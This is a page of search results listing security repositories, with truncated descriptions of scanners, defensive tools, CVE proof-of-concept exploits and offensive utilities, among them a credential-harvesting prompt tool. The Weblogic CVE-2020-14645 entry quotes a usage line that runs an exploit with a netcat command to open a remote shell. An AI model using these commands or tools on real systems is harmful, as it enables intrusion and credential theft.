45820 matches found
ESP32-Bit-Pirate
ESP32 Bit Pirate ESP32 Bit Pirate is open-source firmware that turns your device into a multi-protocol development and analysis tool, inspired by the legendary Bus Pirate. It supports sniffing, sending, scripting, and interacting with various digital protocols I2C, UART, 1-Wire, SPI, etc. via a...
cve-2021-1647
CVE-2021-1647 Microsoft Defender Remote Code Execution Vulnerability INFO Password:infected...
CVE-2022-30190
CVE-2022-30190 - Microsoft Support Diagnostic Tool About This script will attempt to create a Microsoft Office document which will remotely execute code. Setup git clone https://github.com/joshuavanderpoll/CVE-2022-30190.git cd CVE-2022-30190 python3 CVE-2022-30190.py --help Options usage:...
awesome-attack-surface-management
Awesome Attack Surface Management A curated list of tools, resources, and best practices for Attack Surface Management ASM, External Attack Surface Management EASM, and continuous security monitoring. Attack Surface Management is the continuous discovery, analysis, classification, and monitoring ...
github-dev-token-steal-poc
github-dev-token-steal-poc Proof of concept for vulnerability from https://blog.ammaraskar.com/github-token-stealing...
RCLocals
RCLocals Inspired by 'Autoruns' from Sysinternals, RCLocals analyzes all Linux startup possibilities to find backdoors, also performs process integrity verification, scan for DLL injected processes and much more Things covered: ·List GPG keys trusted by the system ·Installed Packages ·File...
kubestriker
A Blazing fast Security Auditing tool for kubernetes!! Overview & Journey of Kubestriker Kubestriker is a platform-agnostic tool designed to tackle Kuberenetes cluster security issues due to misconfigurations and will help strengthen the overall IT infrastructure of any organisation. It performs...
sentinelssh
SentinelSSH: Advanced CVE-2024-6387 Vulnerability Scanner SentinelSSH is an advanced, high-performance SSH vulnerability scanner written in Go. It's specifically designed to detect the CVE-2024-6387 vulnerability in OpenSSH servers across various network environments. Installation To install...
CVE-2020-14645
CVE-2020-14645 Weblogic Server CVE-2020-14645 EXP for Python （complete in one step） Useage: Python3 exploit.py -t -c tips: No echo Example： nc -lvnp 4444 Python3 exploit.py -t 192.168.0.14 -c 'nc 192.168.0.15 4444' then you will getshell...
100_days_of_kql_2026
100 Days of KQL 2026 Inititave Requirements: Create a GitHub account Create a repo called 100daysofkql Example: https://github.com/m4nbat/100daysofkql2026 Create a readme.md and add this line to your readme: 100DaysOfKQL2026 Master repo with instructions: https://github.com/m4nbat/100daysofkql202...
certdepot
Certificate Depot A free online tool for generating self-signed SSL/TLS certificates in seconds. No signup required. Website: cert-depot.com Features Generate self-signed certificates with RSA 2048/4096 or ECDSA P-256/P-384 keys Download as ZIP PEM key + certificate or PFX PKCS12 Automatic SAN...
WordPress_4.9.8_RCE_POC
Summary A simple PoC for WordPress RCE author priviledge, refer to CVE-2019-8942 and CVE-2019-8943. Affected Version WordPress " 3. Detect current theme by WPScan wpscan -u -et, e.g. twentyseventeen as default in wordpress 4.9.8 4. Upload the payload image file poc.jpg Login the author account;...
MADLIRA
MADLIRA Malware detection using learning and information retrieval for Android Overview MADLIRA is a tool for Android malware detection. It consists in two components: TFIDF component and SVM learning component. In gerneral, it takes an input a set of malwares and benwares and then extracts the...
hakrawler
Hakrawler Fast golang web crawler for gathering URLs and JavaScript file locations. This is basically a simple implementation of the awesome Gocolly library. Example usages Single URL: echo https://google.com | hakrawler Multiple URLs: cat urls.txt | hakrawler Timeout for each line of stdin after...
CVE-2025-65672
CVE-2025-65672 Insecure Direct Object Reference IDOR in classroomio 0.1.13 allows unauthorized share and invite access to course settings. Affected Product: ClassroomIO Affected Version: 0.1.13 Discovered by: Rivek Raj Tamang RivuDon, Sikkim, India Vulnerability Details Insecure Direct Object...
incriminator
Incriminator Incriminator is an OpenSource Project with educational purposes that allows you to incriminate other devices during a cybercrime. The project is now in version 1.0 If you find a bug please, report it. Thank you for downloading... FOR EDUCATIONAL PURPOSES ONLY!!!!!!! I am not...
CVE-2022-30190
CVE-2022-30190 This Repository Talks about the Follina MSDT from Defender Perspective Index About Timeline Understanding the Exploit List of IOCs Detection Strategy Testing and Researching Mitigation Plans References About The bug is a Microsoft Windows Support Diagnostic Tool MSDT remote code...
hashdeep
This is md5deep, a set of cross-platform tools to compute hashes, or message digests, for any number of files while optionally recursively digging through the directory structure. It can also take a list of known hashes and display the filenames of input files whose hashes either do or do not mat...
quien
quien A better whois and domain intelligence toolkit. Interactive TUI with tabbed views for WHOIS, DNS, mail, SSL/TLS, HTTP headers, SEO analysis, and tech stack detection. Try it without installing: ssh quien.sh Install Homebrew brew install quien Ubuntu / Debian curl -fsSL...
telegram-bot-dumper
telegram-bot-dumper Easy dumping of all Telegram bot stuff. Input : only bot token. Output : bot name & info, all chats text history & media, bot's users info & photos. This is a Python implementation. 🚀 Fast Golang version by ScBoln. Requirements Python = 3.6 Telethon = 1.24.0 Register Telegram...
vigolium
Vigolium - High-fidelity vulnerability scanner fusing agentic AI with native speed, modularity, and precision Vigolium provides two complementary scanning modes: Native Scan vigolium scan: Fast, powerful, and flexible. Deterministic, multi-phase scanning with 317 modules across content discovery,...
linux-malware
linux-malware Rolling 7 day view of updates from this repo Submissions? Press/academia https://en.wikipedia.org/wiki/Linuxmalware 17 - Initial Access, Execution, Persistence, Privilege Escalation, Defense Evasion, Credential Access, Discovery, Lateral Movement, Collection, Command and Control,...
rsdl
rsdl Subdomain Scanner v.2 Subdomain Scan With Ping Method & Check HTTP/S Statuses. Flags| Value| Description ---|---|--- --hostname| example.com| Domain for scan. --output| | Records the output with the domain name. --list| /tmp/lists/example.txt| Lister for subdomains. New Features Checking...
CVE-2020-3433
PoCs for CVE-2020-3433, CVE-2020-3434, and CVE-2020-3435 PoCs and technical details for the three vulnerabilities found on Cisco AnyConnect Secure Mobility Client for Windows in May 2020: CVE-2020-3433 - High CVSS Score 7.8 - a local privilege escalation CVE-2020-3434 - Medium CVSS Score 5.5 - a...
yamaha-smaf-player
Yamaha SMAF Player C++ by Akustikrausch Andreas Wendorf a small, dependency-free player for Yamaha SMAF ringtones .mmf in c++. you hand it one of those files that made your samsung, sharp, or panasonic go deedle-deedle-dee in 2004, and it hands you clean stereo audio. no phone, no firmware, no...
ADLab
AD Penetration Testing Lab Author: @browninfosecguy Version: 1.0 Usage: This Script can be used to configure both Domain Controller and Workstation. OPTIONS APPLICABLE TO SERVER: Option 1: Configure machine name and static IP address for the Domain Controller. Option 2: Install the "Active...
Offensive-OSINT-Tools
Offensive-OSINT-Tools This repository contains tools and links that can be used during OSINT in Pentest or Red Team. Currently, there are numerous awesome lists with tons of tools, but Offensive Security specialists often don't need such an extensive selection. This motivated the creation of this...
Airopy
Airopy - Wireless Packet Capture Get clients and access points. With Alfa cards this script works correctly. Dependencies To run this script first install requirements as follows: sudo pip3 install -r requirements.txt How to use In the examples I don't add 'sudo', but to execute them you need hig...
CVE-Vulnerability-Information-Downloader
CVE Vulnerability Information Downloader Common Vulnerability Scoring System CVSS is a free and open industry standard for assessing the severity of computer system security vulnerabilities. Exploit Prediction Scoring System EPSS estimates the likelihood that a software vulnerability will be...
fuzztruction
Fuzztruction Fuzztruction is an academic prototype of a fuzzer that does not directly mutate inputs as most fuzzers do but instead uses a so-called generator application to produce an input for our fuzzing target. As programs generating data usually produce the correct representation, our fuzzer...
CVE-2025-65681
CVE-2025-65681 An issue was discoverd in Overhang.IO tutor-open-edx overhangio/tutor 20.0.2 allowing local unauthorized attackers to gain access to sensitive information due to the absence of proper cache-control HTTP headers and client-side session checks. Discovered by - Rivek Raj Tamang RivuDo...
CredsLeaker
CredsLeaker v4.x A big shoutout to @ApSecDev who took this project to the next level! Kudos! This script used to display a powershell credentials box asked the user for credentials. However, That was highly noticeable. Now it's time to utilize Windows Security popup! Features AD domain...
BLUESPAWN
BLUESPAWN Code Status Our Mission BLUESPAWN helps blue teams monitor systems in real-time against active attackers by detecting anomalous activity What is BLUESPAWN BLUESPAWN is an active defense and endpoint detection and response tool which means it can be used by defenders to quickly detect ,...
Starkiller
Starkiller Starkiller is a Frontend for Powershell Empire. It is a web application written in VueJS. If you'd like to contribute please follow the Contribution guide. If you'd like to request a feature or report a bug, please follow the Issue template. Getting Started As of Empire 5.0 and...
NoSQLMap
NoSQLMap NoSQLMap is an open source Python tool designed to audit for as well as automate injection attacks and exploit default configuration weaknesses in NoSQL databases and web applications using NoSQL in order to disclose or clone data from the database. Originally authored by @tcsstool and n...
CVE-2024-7014
CVE-2024-7014...
CVE-2018-8090
CVE-2018-8090 DLL Hijacking in Quickheal Total Security/ Internet Security/ Antivirus Pro Installers Affected Products: Quick Heal Total Security - 17.00 Quick Heal Internet Security - 17.00 Quick Heal AntiVirus Pro - 17.00 Affected Installers: Quick Heal Total Security 64 bit 17.00 QHTS64.exe,...
wordlistgen
wordlistgen Generates target specific word lists by searching for endpoints in javascript and appends parameters for Fuzzing with other tools Version 1.0 Install $ go get -u github.com/ethicalhackingplayground/wordlistgen $ go get github.com/003random/getJS Generate wordlist $ echo...
gotator
Gotator Gotator is a tool to generate DNS wordlists through permutations. 🛠️ Installation If you want to make modifications locally and compile it, follow the instructions below: git clone https://github.com/Josue87/gotator.git cd gotator go build If you are only interested in using the program: g...
squid
SQUID Web Proxy Cache http://www.squid-cache.org/ Copyright C 1996-2026 The Squid Software Foundation and contributors Squid software is distributed under GPLv2+ license and includes contributions from numerous individuals and organizations. Please see the COPYING and CONTRIBUTORS files for...
LIEF
Blog • Documentation • About About The purpose of this project is to provide a cross-platform library to parse, modify and abstract ELF, PE and MachO formats. Main features : Parsing : LIEF can parse ELF, PE, MachO, COFF, OAT, DEX, VDEX, ART and provides a user-friendly API to access their...
wstg
OWASP Web Security Testing Guide Welcome to the official repository for the Open Worldwide Application Security Project® OWASP® Web Security Testing Guide WSTG. The WSTG is a comprehensive guide to testing the security of web applications and web services. Created by the collaborative efforts of...
transfer.sh
SECURITY WARNING IP filter and HTTP auth bypass via unauthenticated X-Forwarded-For header spoofing transfer.sh Easy and fast file sharing from the command-line. This code contains the server with everything you need to create your own instance. Transfer.sh currently supports the s3 Amazon S3,...
CVE-2024-29296
CVE-2024-29296 - User enumeration on Portainer CE - 2.19.4 A user enumeration vulnerability was found in Portainer CE 2.19.4. This issue occurs during user authentication process, where a difference in response time could allow a remote unauthenticated user to determine if a username is valid or...
ClipGuard
ClipGuard Real-time detection of ClickFix clipboard injection attacks on Windows. ClipGuard monitors clipboard activity and intercepts suspicious paste operations before they can execute — specifically targeting the ClickFix technique where fake verification pages trick users into pasting malicio...
CVE-2022-22063
CVE-2022-22063 CVE-2022-22063 is a security issue in the hypervisor firmware of some older Qualcomm chipsets. An unprotected hardware component the "boot remapper" can be abused to gain full read/write access to the hypervisor from a modified operating system privilege escalation. Exploiting the...
CVE-2025-24367-Cacti-PoC
CVE-2025-24367 - Cacti Authenticated Graph Template RCE Usage & Safety Important — Read this first: This repository and exploit.py are provided for educational and research purposes only. Do not use this code against systems, networks, or services for which you do not have explicit, written...
HT-WPS-Breaker
HT-WPS BREAKER Languages: English High Touch WPS Breaker HT-WB is a small tool based on the bash script language, it can help you to extract the wps pin of many vulnerable routers and get the password, in the last i want to notice that HT-WPS Breaker in its process is using these tools :...
aleph
.. epigraph:: Truth cannot penetrate a closed mind. If all places in the universe are in the Aleph, then all stars, all lamps, all sources of light are in it, too. -- The Aleph , Jorge Luis Borges ⚠️ PROJECT STATUS: SUNSETTING ⚠️ Our involvement with this open-source project is being sunsetted...